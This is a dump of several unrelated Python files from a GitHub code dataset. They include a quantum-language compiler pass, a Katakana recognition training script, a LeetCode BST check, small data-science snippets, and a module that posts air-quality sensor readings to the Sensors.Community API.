self.func_defs[node.name] = (decls, deepcopy(node))\n\n self._pop_scope()\n self._pop_local()\n\n self.diag_msg(node,\n 'call list %s: %s' %\n (node.name, str(', '.join([\n pyqgl2.importer.collapse_name(call.func)\n for call in node.qgl_call_list]))))\n return node\n\n def visit_Call(self, node):\n\n # We can only check functions referenced by name, not arbitrary\n # expressions that return a function\n #\n # The way that we test whether something is referenced purely\n # by name is clunky: we try to collapse reference the AST for\n # the function reference back to a name, and if that works,\n # then we think it's a name.\n #\n\n if not pyqgl2.importer.collapse_name(node.func):\n self.error_msg(node, 'function not referenced by name')\n return node\n\n node.qgl_scope = self._qbit_scope()[:]\n node.qgl_local = self._qbit_local()[:]\n\n self.qgl_call_stack[-1].append(node)\n\n return node\n\nclass CompileQGLFunctions(ast.NodeTransformer):\n\n LEVEL = 0\n\n def __init__(self, *args, **kwargs):\n super(CompileQGLFunctions, self).__init__(*args, **kwargs)\n\n self.concur_finder = FindConcurBlocks()\n\n def visit_FunctionDef(self, node):\n\n if self.LEVEL > 0:\n self.error_msg(node, 'QGL mode functions cannot be nested')\n\n self.LEVEL += 1\n # check for nested qglfunc functions\n self.generic_visit(node)\n self.LEVEL -= 1\n\n # First, find and check all the concur blocks\n\n body = node.body\n for ind in range(len(body)):\n stmnt = body[ind]\n body[ind] = self.concur_finder.visit(stmnt)\n\nclass FindWaveforms(ast.NodeTransformer):\n\n def __init__(self, *args, **kwargs):\n super(FindWaveforms, self).__init__(*args, **kwargs)\n\n self.seq = list()\n self.namespace = None # must be set later\n\n def set_namespace(self, namespace):\n self.namespace = namespace\n\n def visit_Call(self, node):\n\n # This is just a sketch\n\n # find the name of the function being called,\n # and then resolve it in the context of the local\n # namespace, and see if it returns a pulse\n #\n localname = node.func.id\n localfilename = node.qgl_fname\n\n if self.namespace.returns_pulse(localfilename, localname):\n print('GOT PULSE [%s:%s]' % (localfilename, localname))\n\n return node\n\n\nclass FindConcurBlocks(ast.NodeTransformer):\n\n LEVEL = 0\n\n def __init__(self, *args, **kwargs):\n super(FindConcurBlocks, self).__init__(*args, **kwargs)\n\n self.concur_stmnts = set()\n self.qbit_sets = dict()\n\n def visit_With(self, node):\n\n item = node.items[0]\n print('WITH %s' % ast.dump(node))\n if (not isinstance(item.context_expr, ast.Name) or\n (item.context_expr.id != QGL2.QCONCUR)):\n return node\n\n if self.LEVEL > 0:\n # need to fix this so we can squash multiple levels of concurs\n self.error_msg(node, 'nested concur blocks are not supported')\n\n self.LEVEL += 1\n\n body = node.body\n for ind in range(len(body)):\n stmnt = body[ind]\n find_ref = FindQbitReferences()\n find_ref.generic_visit(stmnt)\n self.qbit_sets[ind] = find_ref.qbit_refs\n\n self.visit(stmnt)\n\n self.LEVEL -= 1\n\n # check_conflicts will halt the program if it detects an error\n #\n qbits_referenced = self.check_conflicts(node)\n print('qbits in concur block (line: %d): %s' % (\n node.lineno, str(qbits_referenced)))\n\n \"\"\"\n # TO BE REPLACED\n for ind in range(len(body)):\n stmnt = body[ind]\n find_waveforms = FindWaveforms()\n find_waveforms.generic_visit(stmnt)\n\n for waveform in find_waveforms.seq:\n print('concur %d: WAVEFORM: %s' % (stmnt.lineno, waveform))\n \"\"\"\n\n return node\n\n def check_conflicts(self, node):\n\n all_seen = set()\n\n for refs in self.qbit_sets.values():\n if not refs.isdisjoint(all_seen):\n conflict = refs.intersection(all_seen)\n NodeError.error_msg(node,\n '%s appear in multiple concurrent statements' %\n str(', '.join(list(conflict))))\n\n all_seen.update(refs)\n\n return all_seen\n\nclass FindQbitReferences(ast.NodeTransformer):\n \"\"\"\n Find all the references to qbits in a node\n\n Assumes that all qbits are referenced by variables that\n have been marked as being qbits rather than arbitrary expressions\n\n For example, if you do something like\n\n qbit1 = Qubit(\"1\") # Create a new qbit; qbit1 is marked\n arr[ind] = qbit1\n foo = arr[ind]\n\n Then \"qbit1\" will be detected as a reference to a qbit,\n but \"arr[ind]\" or \"foo\" will not, even though all three\n expressions evaluate to a reference to the same qbit.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(FindQbitReferences, self).__init__(*args, **kwargs)\n\n self.qbit_refs = set()\n\n def visit_Name(self, node):\n print('XXY ')\n\n if node.id in self.qbit_refs:\n print('XX GOT qbit already %s' % node.id)\n node.qgl_is_qbit = True\n elif hasattr(node, 'qgl_is_qbit') and node.qgl_is_qbit:\n print('XX GOT qbit %s' % node.id)\n self.qbit_refs.add(node.id)\n else:\n print('XX NOT qbit %s' % node.id)\n\n return node\n\nif __name__ == '__main__':\n import sys\n\n from pyqgl2.importer import NameSpaces\n\n def preprocess(fname):\n\n importer = NameSpaces(fname)\n ptree = importer.path2ast[importer.base_fname]\n\n type_check = CheckType(fname, importer=importer)\n\n nptree = type_check.visit(ptree)\n\n for func_def in sorted(type_check.func_defs.keys()):\n types, node = type_check.func_defs[func_def]\n call_list = node.qgl_call_list\n\n if NodeError.MAX_ERR_LEVEL >= NodeError.NODE_ERROR_ERROR:\n print('bailing out 1')\n sys.exit(1)\n\n sym_check = CheckSymtab(fname, type_check.func_defs, importer)\n nptree2 = sym_check.visit(nptree)\n\n if NodeError.MAX_ERR_LEVEL >= NodeError.NODE_ERROR_ERROR:\n print('bailing out 2')\n sys.exit(1)\n\n wav_check = CheckWaveforms(type_check.func_defs, importer)\n nptree3 = wav_check.visit(nptree2)\n\n if NodeError.MAX_ERR_LEVEL >= NodeError.NODE_ERROR_ERROR:\n print('bailing out 3')\n sys.exit(1)\n\n def new_lscope(fname):\n\n importer = NameSpaces(fname)\n ptree = importer.qglmain\n print(ast.dump(ptree))\n\n zz_def = importer.resolve_sym(ptree.qgl_fname, 'zz')\n\n main_scope = FindTypes.find_lscope(importer, ptree, None)\n # zz_scope = FindTypes.find_lscope(importer, zz_def, main_scope)\n\n\n new_lscope(sys.argv[1])\n preprocess(sys.argv[1])\n","repo_name":"BBN-Q/pyqgl2","sub_path":"src/python/attic/const_prop.py","file_name":"const_prop.py","file_ext":"py","file_size_in_byte":20482,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"26732709545","text":"import numpy as np\r\nimport torch\r\nimport time\r\nimport model_util\r\n\r\n\r\n\r\ntrain_x = torch.load('data/train_x.pt')\r\ntrain_y = torch.load('data/train_y.pt')\r\ndev_x = torch.load('data/dev_x.pt')\r\ndev_y = torch.load('data/dev_y.pt')\r\n\r\n\r\n\r\n#define the model\r\nmodel = model_util.generate_model()\r\n\r\nmodel.train()\r\n\r\nprint('number of model parameters:', sum(p.numel() for p in model.parameters()))\r\n\r\ntorch.save(model.state_dict(),'models/model_0_epochs.pt')\r\nnp.save('models/history_train_loss_0_epochs.npy',np.array([]))\r\nnp.save('models/history_dev_loss_0_epochs.npy',np.array([]))\r\n\r\n\r\n\r\n#prepare for training and define hyperparameters\r\noptim = torch.optim.Adam(model.parameters(), lr=0.0005)\r\ncalculate_loss = torch.nn.CrossEntropyLoss()\r\ndataset = [[train_x[i],train_y[i]] for i in range(len(train_x))]\r\ntrainloader = torch.utils.data.DataLoader(dataset, batch_size=32, shuffle=True)\r\n\r\n\r\n\r\n#this system is designed to be able to dynamically start training from a pretrained model, instead of starting all over again every time, which was helpful during development\r\n#the parameters here are used to reproduce the results presented in the paper\r\nepoch_num = 250\r\nstart_epoch = 0\r\n\r\n#load the status of the start epoch\r\n#(obsolete when starting with an untrained model)\r\nmodel.load_state_dict(torch.load(f'models/model_{start_epoch}_epochs.pt'))\r\ntrain_losses = list(np.load(f'models/history_train_loss_{start_epoch}_epochs.npy', allow_pickle=True))\r\ndev_losses = list(np.load(f'models/history_dev_loss_{start_epoch}_epochs.npy', allow_pickle=True))\r\nprint('training from',start_epoch,'for',epoch_num,'epochs')\r\n\r\n\r\n\r\n#the training algorithm is compatible with CUDA for GPU acceleration, if available\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\nmodel.to(device)\r\ndev_x, dev_y = dev_x.to(device), dev_y.to(device)\r\n\r\n\r\n\r\ndef train_one_epoch():\r\n batch_loss = 0\r\n for x, y in trainloader:\r\n #for memory reasons, each batch needs to be transfered to the GPU seperately, so that only one batch is loaded on the GUP at once\r\n x = x.to(device)\r\n y = y.to(device)\r\n loss = calculate_loss(model(x), y)\r\n loss.backward()\r\n batch_loss += float(loss) #to reduce memory usage, do not keep the gradients\r\n optim.step()\r\n optim.zero_grad()\r\n\r\n #calculate dev loss for validation\r\n with torch.no_grad():\r\n batch_loss /= len(trainloader)\r\n dev_loss = calculate_loss(model(dev_x),dev_y)\r\n train_losses.append(batch_loss)\r\n dev_losses.append(dev_loss)\r\n\r\n return batch_loss, dev_loss\r\n\r\n\r\n\r\ntoc = time.time()\r\n\r\n#the main training algorithm\r\nfor e in range(1,epoch_num+1):\r\n batch_loss, dev_loss = train_one_epoch()\r\n \r\n #print the training progress\r\n print('epoch:',start_epoch+e,'\\tloss:',float(batch_loss),'\\tdev_loss:',float(dev_loss),end='\\r')\r\n if e % (epoch_num/10) == 0:\r\n print('epoch:',start_epoch+e,'\\tloss:',float(batch_loss),'\\tdev_loss:',float(dev_loss),'\\ttime:',int((time.time()-toc)/60),'min',int(time.time()-toc)%60,'s')\r\n \r\n #save the model and trainig history\r\n torch.save(model.state_dict(),f'models/model_{start_epoch+e}_epochs.pt')\r\n np.save(f'models/history_train_loss_{start_epoch+e}_epochs.npy',np.array(train_losses))\r\n np.save(f'models/history_dev_loss_{start_epoch+e}_epochs.npy',np.array(dev_losses))\r\n\r\nprint('done!')\r\n","repo_name":"godosar/Character-Recognition-for-Handwritten-Japanese-Katakana-using-Deep-Learning-Techniques","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5551549938","text":"# https://leetcode.com/problems/validate-binary-search-tree/\n\nclass TreeNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def __init__(self):\n self.res = []\n \n def isValidBST(self, root):\n # left - root - right\n def inOrder(root):\n if root.left != None:\n inOrder(root.left)\n self.res.append(root.val)\n if root.right != None:\n inOrder(root.right)\n \n \n inOrder(root)\n \n for i in range(1, len(self.res)):\n # if left is greater than root\n if self.res[i-1] >= self.res[i]:\n return False\n \n return True\n ","repo_name":"ParanoidAndroid19/Leetcode-problems","sub_path":"ValidateBST(medium).py","file_name":"ValidateBST(medium).py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75015532560","text":"'''\nMissing data in the data set will be imputed with mean\n'''\n\n# Import essential libraries\n\nimport pandas as pd\n\n# Read car purchase dataset\ndataset = pd.read_csv('00_car_purchase_data.csv')\n\n# Independent variables\nX = dataset.iloc[:, 0:3].values\n\n# Dependent variable\ny = dataset.iloc[:, 3].values\n\n# Import imputer function\nfrom sklearn.preprocessing import Imputer\n\n# Create imputer object with mean as strategy and to use values in columns\nimputer = Imputer(missing_values='NaN', strategy='mean', axis=0)\n# Train the imputer\nimputer.fit(X[:, 1:3])\n# Apply the change\nX[:, 1:3] = imputer.transform(X[:, 1:3])\n","repo_name":"balajich/data-science-crash-course","sub_path":"Part_01_Data_Preparation/01_missing_data_impute_with_mean.py","file_name":"01_missing_data_impute_with_mean.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"71903916243","text":"import itertools\nimport pandas as pd\nfrom random import sample, shuffle\n\ndef triple_instances(folds, samples=500):\n\tinstances = list(itertools.combinations(range(folds), 3))\n\tshuffle(instances)\n\tif samples and samples < len(instances):\n\t\tinstances = sample(instances, samples)\n\treturn instances\n\ndef single_instances(folds):\n\tinstances = list(range(folds))\n\tshuffle(instances)\n\treturn instances\n\n\ninstances = triple_instances(10)\ndf = pd.DataFrame(instances)\ndf.to_csv(\"instances.txt\", header=False, index=False)\n\ninstances = single_instances(10)","repo_name":"carlosemv/isklearn","sub_path":"make_instances.py","file_name":"make_instances.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70746897683","text":"#!/usr/bin/env python\n# File: vandermonde.py\n# Name: D.Saravanan\n# Date: 24/08/2021\n\n\"\"\" Script to compute the condition number of Vandermonde matrix \"\"\"\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn-white')\nmatplotlib.use('Agg')\n\nx1, x2 = [], []\n\nfor i, N in enumerate(range(5,37,2)):\n x = np.linspace(-1,1,N)\n V = np.vander(x)\n x1.append(i+1)\n x2.append(np.linalg.cond(V))\n\nfig, ax = plt.subplots()\nax.set_yscale('log')\nax.plot(x1, x2)\nax.set(xlim=(0, 20), ylim=(10**1, 10**17))\nax.set(xlabel='', ylabel='cond(V)')\nax.set_title(r\"condition number of Vandermonde matrix for N $\\in [5,35]$\", fontsize=10)\nax.grid(True)\nplt.savefig('graph.png')\n","repo_name":"dsarvan/nmsc","sub_path":"Scripts/Python/Aug_24/vandermonde.py","file_name":"vandermonde.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"38597379564","text":"__license__ = 'RPL-1.5'\n\n# $Id: MyCOMMUNITY.py,v 5.8 2022/01/05 11:28:06 teus Exp teus $\n\n# TO DO: write to file or cache\n# reminder: InFlux is able to sync tables with other MySQL servers\n\n\"\"\" Publish measurements to Luftdaten.info\n Make sure to enable acceptance for publishing in the map of Luftdaten\n by emailing the prefix-serial and location details.\n Madavi is disabled due to too many connection problems.\n Relies on Conf setting by main program.\n\"\"\"\n__modulename__='$RCSfile: MyCOMMUNITY.py,v $'[10:-4]\n__version__ = \"0.\" + \"$Revision: 5.8 $\"[11:-2]\nimport re\nimport inspect\ndef WHERE(fie=False):\n global __modulename__, __version__\n if fie:\n try:\n return \"%s V%s/%s\" % (__modulename__ ,__version__,inspect.stack()[1][3])\n except: pass\n return \"%s V%s\" % (__modulename__ ,__version__)\n\ntry:\n import sys\n if sys.version_info[0] >= 3: unicode = str\n import datetime\n from time import time, sleep\n import json\n import requests\n import signal\n from time import time\n import re\n import threading\n if sys.version[0] == '2':\n import Queue\n else:\n import queue as Queue\n\nexcept ImportError as e:\n sys.exit(\"FATAL: One of the import modules not found: %s\" % e)\n\n# configurable options\n__options__ = ['output','id_prefix', 'timeout', 'notForwarded','active','calibrate','DEBUG']\n\nHTTP_POST = {}\n# per hostname: {\n# 'queue': None,\n# 'stop': False,\n# 'running': False,\n# 'timeout': 0, # optional in case of error or timeout\n# 'warned': 0, # optional\n# 'url': None\n# }\ndef HTTPstop(immediate=False):\n global HTTP_POST\n for on in HTTP_POST.keys():\n try:\n if not one['running']:\n one['stop'] = True; continue\n if immediate:\n one['stop'] = True\n with one['queue'].mutex: one['queue'].clear()\n else:\n while one['queue'].full(): sleep(1)\n one['queue'].put((None,[]),timeout=5)\n waiting = 0\n while not one['queue'].empty() and waiting < 15: \n waiting += 1; sleep(1)\n one['stop'] = True\n except: pass\n\nConf = {\n 'output': False,\n 'hosts': ['community', ], # 'madavi' deleted\n # defined by, obtained from Sensors Community: Rajko Zschiegner dd 24-12-2017\n 'id_prefix': \"MySense-\", # prefix ID prepended to serial number of module\n 'community': 'https://api.luftdaten.info/v1/push-sensor-data/', # api end point\n 'madavi': 'https://api-rrd.madavi.de/data.php', # madavi.de end point\n 'notForwarded': r'(VW2017|test)_.*', # expression to identify id's not to be forwarded\n 'calibrate': True, # calibrate values to default sensor type for Community pin nr\n 'active': True, # output to sensors.community maps is also activated\n 'registrated': None, # has done initial setup\n 'timeout': 4*30, # timeout on wait of http request result in seconds\n 'log': None, # MyLogger log print routine\n 'message': None, # event message from this module, eg skipping output\n 'DEBUG': False, # debugging info\n 'stop': HTTPstop, # stop HTTP POST threads\n}\n\n# ========================================================\n# write data directly to a database\n# =======================================================\n# once per session registrate and receive session cookie\n# =======================================================\n# TO DO: this needs to have more security in it e.g. add apikey signature\n# the community server is slow in responses: change this to multithreading and queueing\n\ndef registrate():\n global Conf\n if Conf['registrated'] != None: return Conf['registrated']\n if not Conf['log']:\n try: from lib import MyLogger\n except: import MyLogger\n Conf['log'] = MyLogger.log\n # avoid too many HTTP request logging messages\n import logging\n logging.getLogger(\"requests\").setLevel(logging.WARNING)\n logging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n # req_log = logging.getLogger('requests.packages.urllib3')\n # req_log.setLevel(logging.WARNING)\n # req_log.propagate = True\n\n # skip some kits identified by reg expression\n Conf['notForwarded'] = re.compile(Conf['notForwarded'])\n Conf['registrated'] = True\n return Conf['registrated']\n\n# send only a selection of possible measurements from the sensors\n# Post meteo and dust data separately\n# year 2020: Previous name of Sensors.Community was Luftdaten\ndef send2Community(info,values, timestamp=None):\n global __version__, Conf\n # the Luftdaten API json template\n # suggest to limit posts and allow one post with multiple measurements\n try:\n if not Conf['hosts']: return 'Forward to Sensors.Community not defined'\n hdrs = {\n 'X-Sensor': Conf['id_prefix'] + str(info['Luftdaten']),\n # 'X-Auth-User': 'Content-Type: application/json',\n }\n except: return 'No ID to Sensors Community defined'\n postTo = []\n for url in Conf['hosts']: # Sensors.Community map (needs Luftdaten ID) and/or Madavi archive\n postTo.append(Conf[url])\n if not len(postTo): return \"No server destination defined\"\n try: ID = info['Luftdaten']\n except: ID = info['DATAid']\n\n pdata = {\n 'software_version': 'MySense' + __version__,\n # to do: 'samples', 'signal', 'min_micro', max_micro' ??\n }\n try: pdata['interval'] = info['interval']*1000\n except: pass\n if not timestamp:\n timestamp = time()\n try: timestamp = info['timestamp']\n except: pass\n # add .%f if msecs are needed (granulate is secs not msecs)\n pdata['timestamp'] = datetime.datetime.utcfromtimestamp(timestamp).strftime(\"%Y-%m-%dT%H:%M:%S\")\n postings = [] # Sensors.Community and Madavi have same POST API interface\n # add measurements to postdata\n for pinNr,data in values.items(): # { 'pin nr': [(field,value), ...], ...}\n headers = hdrs.copy()\n headers['X-Pin'] = str(pinNr)\n postdata = pdata.copy()\n postdata['sensordatavalues'] = []\n if type(values[pinNr]) is list:\n for one in values[pinNr]:\n postdata['sensordatavalues'].append({ 'value_type': str(one[0]), 'value': one[1]})\n if not len(postdata['sensordatavalues']): continue\n postings.append((headers,postdata)) # type, POST header dict, POST data dict\n\n try: # try to POST the data\n if not postings:\n Conf['log'](WHERE(True),'INFO',\"No values for %s with postings: %s\\n\" % (str(headers['X-Sensor']),str(postings)))\n return False # no data to POST\n Rslt = post2Community(postTo,postings,ID)\n if not Rslt:\n Conf['log'](WHERE(True),'ERROR','HTTP POST connection failure')\n # sys.stderr.write(\"Failed X-Sensor %s with postings: %s\\n\" % (str(headers['X-Sensor']),str(postings)))\n raise IOError('HTTP POST connection failure')\n except Exception as e:\n raise IOError(\"Exception ERROR in post2Community as %s\\n\" % str(e))\n return Rslt\n \n# seems https may hang once a while Signal works only in main thread\nimport signal\ndef alrmHandler(signal,frame):\n global Conf\n Conf['log'](WHERE(True),'ATTENT','HTTP POST hangup, post aborted. Alarm nr %d' % signal)\n # signal.signal(signal.SIGALRM,None)\n\n####### examples\n# from: https://discourse.nodered.org/t/send-data-from-local-dust-sensor-to-lufdaten/25943/8 2021-09-12\n# msg.headers = {},\n# msg.headers['X-Auth-User'] = 'Content-Type: application/json', \n# 'X-Pin: 1' , \n# 'X-Sensor: esp8266-568371 ', \n# \n# {\n# \"software_version\": \"NRZ- 2020129\", \n# \"sampling_rate\": null, # optional\n# \"timestamp\": \"2020-01-02T09:29:41.300\", # optional else post timestamp in UTC ISO-8601\n# \"sensordatavalues\":[\n# {\"value_type\":\"P1\",\"value\":\"66.04\"}, # optional add: \"id\": 123456789,\n# {\"value_type\":\"P2\",\"value\":\"53.32\"}\n# ]\n# }\n#\n# from: https://www.thethingsnetwork.org/forum/t/connection-from-ttn-node-to-luftdaten-api/33073/7\n# var result = client.PostAsync(url.ToString(),\n# new StringContent(\"{\\\"sensor\\\": 16741, \\\"sampling_rate\\\": null,\n# \\\"timestamp\\\": \\\"2020-01-02 09:29:41\\\",\n# \\\"sensordatavalues\\\": [\n# {\\\"id\\\":12628208575, \\\"value\\\":\\\"1.00\\\", \\\"value_type\\\":\\\"temperature\\\" },\n# {\\\"value\\\":\\\"98.40\\\", \\\"id\\\":12628208576, \\\"value_type\\\":\\\"humidity\\\" }],\n# \\\"software_version\\\": \\\"123\\\" }\")).Result;\n#\n# from: https://hmmbob.tweakblogs.net/blog/18950/push-data-to-luftdaten-and-opensensemap-api-with-home-assistant\n# 2021-09-11\n# \n# # The BME280 pressure value in HA is in hPa - the APIs expect it in Pa, hence the \n# # multiplication of the value in the templates below.\n# \n# # Push to Luftdaten API. Luftdaten uses headers to distinguish between different sensor\n# # types, so we need to push twice. The X-Sensor header contains the sensorID from Luftdaten,\n# # typically formatted as esp8266-12345678 or similar.\n# send_luftdaten_pm:\n# url: https://api.sensor.community/v1/push-sensor-data/\n# method: POST\n# content_type: 'application/json'\n# headers:\n# X-Pin: 1 ## This tells Luftdaten that it is SDS011 data\n# X-Sensor: !secret luftdaten_x_sensor\n# payload: >\n# {\n# \"software_version\": \"HomeAssistant-{{ states('sensor.current_version') }}\",\n# \"sensordatavalues\":[\n# {\"value_type\":\"P1\",\"value\":\"{{ states('sensor.particulate_matter_10_0um_concentration') }}\"},\n# {\"value_type\":\"P2\",\"value\":\"{{ states('sensor.particulate_matter_2_5um_concentration') }}\"}\n# ]\n# }\n# send_luftdaten_tph:\n# url: https://api.sensor.community/v1/push-sensor-data/\n# method: POST\n# content_type: 'application/json'\n# headers:\n# X-Pin: 11 ## This tells Luftdaten that it is BME280 data\n# X-Sensor: !secret luftdaten_x_sensor\n# payload: >\n# {\n# \"software_version\": \"HomeAssistant-{{ states('sensor.current_version') }}\",\n# \"sensordatavalues\":[\n# {\"value_type\":\"temperature\",\"value\":\"{{ states('sensor.bme280_temperature') }}\"},\n# {\"value_type\":\"pressure\",\"value\":\"{{ states('sensor.bme280_pressure') | float * 100 }}\"},\n# {\"value_type\":\"humidity\",\"value\":\"{{ states('sensor.bme280_humidity') }}\"}\n# ]\n# }\n# \n# # Push to Madavi. This is related to Luftdaten and stores data for use in Grafana.\n# send_madavi:\n# url: https://api-rrd.madavi.de/data.php\n# method: POST\n# content_type: 'application/json'\n# headers:\n# X-Pin: 0\n# X-Sensor: !secret luftdaten_x_sensor\n# payload: >\n# {\n# \"software_version\": \"HomeAssistant-{{ states('sensor.current_version') }}\", \n# \"sensordatavalues\":[\n# {\"value_type\":\"SDS_P1\",\"value\":\"{{ states('sensor.particulate_matter_10_0um_concentration') }}\"},\n# {\"value_type\":\"SDS_P2\",\"value\":\"{{ states('sensor.particulate_matter_2_5um_concentration') }}\"},\n# {\"value_type\":\"BME280_temperature\",\"value\":\"{{ states('sensor.bme280_temperature') }}\"},\n# {\"value_type\":\"BME280_pressure\",\"value\":\"{{ states('sensor.bme280_pressure') | float * 100 }}\"},\n# {\"value_type\":\"BME280_humidity\",\"value\":\"{{ states('sensor.bme280_humidity') }}\"}\n# ]\n# }\n# \n# # Push to OpenSenseBox / OpenSenseMap. The url !secret contains the openSenseBox API url,\n# # which looks like https://api.opensensemap.org/boxes/<>/data\n# # The input_text items contain the sensor-IDs you need to publish the data to the API.\n# # You can find those on your SenseBox page on https://opensensemap.org/account\n# post_opensensebox:\n# url: !secret opensensebox_api_url\n# method: post\n# headers:\n# content-type: \"application/json; charset=utf-8\"\n# payload: >-\n# {\n# \"{{ states('input_text.opensensebox_sensorid_temp') }}\": \"{{ states('sensor.bme280_temperature') }}\",\n# \"{{ states('input_text.opensensebox_sensorid_press') }}\": \"{{ states('sensor.bme280_pressure') | float * 100 }}\",\n# \"{{ states('input_text.opensensebox_sensorid_hum') }}\": \"{{ states('sensor.bme280_humidity') }}\",\n# \"{{ states('input_text.opensensebox_sensorid_pm25') }}\": \"{{ states('sensor.particulate_matter_2_5um_concentration') }}\",\n# \"{{ states('input_text.opensensebox_sensorid_pm10') }}\": \"{{ states('sensor.particulate_matter_10_0um_concentration') }}\"\n# }\n#######\n\n# HTTP_POST dict: per hostname {\n# 'queue': None,\n# 'stop': False,\n# 'running': False,\n# 'timeout': 0, # optional in case of error or timeout\n# 'warned': 0, # optional\n# 'url': None\n# }\n# HTTP POST thread. One thread per host? For now only Luftdaten ############ POST THREAD\n# To Do: use Python multiprocessing and queue\ndef HTTPposter(ahost):\n global Conf, HTTP_POST\n try:\n host = HTTP_POST[ahost]\n if not host['url'] or not host['queue']: raise ValueError()\n if host['stop']: return False\n except:\n Conf['log'](WHERE(True),'ERROR',\"HTTP POST config error for host '%s'\" % str(host))\n return False\n\n def PostTimeout(timeout=None):\n if timeout: # no warning case\n # madavi.de seems to forbid most traffic since May 2020, check every 2 days\n host['timeout'] = timeout + 60*60*(48 if ahost.find('madavi') > 0 else 1)\n host['warned'] = 6\n elif not 'timeout' in host.keys() or not host['timeout']:\n host['timeout'] = int(time()) + 60*60; host['warned'] = 1\n else:\n host['warned'] += 1\n if host['warned'] > 5: host['timeout'] = int(time()) + 1*60*60\n\n def DumpPost(id,ahost,adata,status):\n global Conf\n sys.stderr.write(\"Community ID %s%s POST to %s:\\n\" % (Conf['id_prefix'],id,ahost['url']))\n sys.stderr.write(\" Headers: %s\\n\" % str(adata[0]))\n sys.stderr.write(\" Body (json data): %s\\n\" % str(json.dumps(adata[1],indent=2)))\n sys.stderr.write(\" Timeout: %s secs\\n\" % str(Conf['timeout']))\n sys.stderr.write(\" returns: %d\\n\" % status)\n\n host['running'] = True; ID = None; data = None; PostSkip = {}\n #tmin = 1000; tmax = 0; tcnt = 0; tavg = 0.0\n while not host['stop']: # run loop\n if 'timeout' in host.keys() and int(time()) < host['timeout']: # POSTs should wait\n sleep(10)\n if host['queue'].full():\n try:\n ID, data = host['queue'].get(timeout=30)\n except: continue\n continue\n if data == None: # get new post record\n try:\n ID, data = host['queue'].get(timeout=30)\n except: continue\n if ID == None: # stop thread\n host['running'] = False; host['stop'] = True\n return False # exit thread\n\n #sys.stderr.write(\"Got a record for ID %s, data %s\\n\" % (ID, str(data)))\n #timing = time()\n #sys.stderr.write(\"Queue size: %d\\n\" % (host['queue'].qsize()+1))\n try: # connect and POST to Sensors.Community\n if not data or not data[1]: continue\n try:\n if PostSkip[host]%20:\n PostSkip[host] += 1; continue\n except: pass\n\n #timing = time()\n if Conf['id_prefix'] != 'TTN-': # TEST MODUS: do not POST\n ok_status = 200\n DumpPost(ID,host,data,ok_status)\n ok = True\n else:\n #timing = time()\n r = requests.post(host['url'], json=data[1], headers=data[0], timeout=Conf['timeout'])\n #timing = time()-timing\n #tmin = min(tmin,timing); tmax = max(tmax,timing); tcnt += 1; tavg += (timing-tavg)/tcnt\n #sys.stderr.write(\"Request took %.2f secs, min %.2f - avg %.2f - max %.2f\\n\" % (timing,tmin,tavg,tmax))\n ok = r.ok; ok_status = r.status_code\n\n Conf['log'](WHERE(True),'DEBUG','Post to %s returned status: %d' % (ahost,ok_status))\n if Conf['DEBUG']:\n if not ok:\n DumpPost(ID,host,data,ok_status)\n else:\n sys.stderr.write(\"%s POST %s OK(%d) to %s ID(%s).\\n\" % (ahost,ID,ok_status,ahost,data[0]['X-Sensor']))\n if ok: # POST OK\n if 'timeout' in host.keys() and host['timeout']:\n Conf['log'](WHERE(),'ATTENT','Postage to %s recovered. OK.' % ahost)\n host['timeout'] = 0; host['warned'] = 0 # clear errors\n Conf['log'](WHERE(True),'DEBUG','Sent %s postage to %s OK.' % (ID,ahost))\n if ID in PostSkip.keys(): del PostSkip[ID]\n else: # POST NOT OK, skipped\n if ok_status == 403 or ok_status == 400:\n try: PostSkip[ID] += 1\n except: PostSkip[ID] = 0\n if ok_status == 403: # may need to stop forwarding\n if not PostSkip[ID]%100:\n Conf['log'](WHERE(),'ATTENT','Post %s to %s ID %s returned status code: forbidden (403)' % (ID,ahost,data[0]['X-Sensor']))\n elif ok_status == 400:\n if not PostSkip[ID]%100:\n Conf['log'](WHERE(),'ATTENT','Not registered POST %s to %s with ID %s, count %d' % (ID,ahost,data[0]['X-Sensor'],PostSkip[ID]))\n #Conf['log'](WHERE(),'ATTENT','Not registered POST %s to %s with header: %s, data %s and ID %s, status code: 400' % (ID,ahost,str(data[0]),str(json.dumps(data[1])),data[0]['X-Sensor']))\n else: # temporary error?\n Conf['log'](WHERE(),'ATTENT','Post %s with ID %s returned status code: %d' % (ID,data[0]['X-Sensor'],ok_status))\n data = None # try next post record\n continue\n\n # try to post it again\n except requests.ConnectionError as e:\n if str(e).find('Interrupted system call') < 0: # if so watchdog interrupt\n Conf['log'](WHERE(True),'ERROR','Connection error: ' + str(e))\n timeout = int(time())+2*60*60\n #sys.stderr.write(\"Request took %.2f secs\\n\" % (time()-timing))\n except requests.exceptions.Timeout as e:\n Conf['log'](WHERE(),'ERROR','HTTP %d sec request timeout POST error with ID %s' % (Conf['timeout'],data[0]['X-Sensor']))\n #sys.stderr.write(\"Request took %.2f secs\\n\" % (time()-timing))\n except Exception as e:\n if str(e).find('EVENT') >= 0:\n raise ValueError(str(e)) # send notice event\n data = None # skip data record\n Conf['log'](WHERE(),'ERROR','Exception error: %s POST thread for host %s.' % (str(e),ahost))\n #Conf['log'](WHERE(),'ERROR','Error: %s. Stop POST thread for host %s.' % (str(e),ahost))\n #host['stop'] = True\n # PostTimeout(timeout=int(time()+10))\n########### END OF POST THREAD\n \n# to each element of array of POST URL's, \n# POST all posting elements tuple of type, header dict and 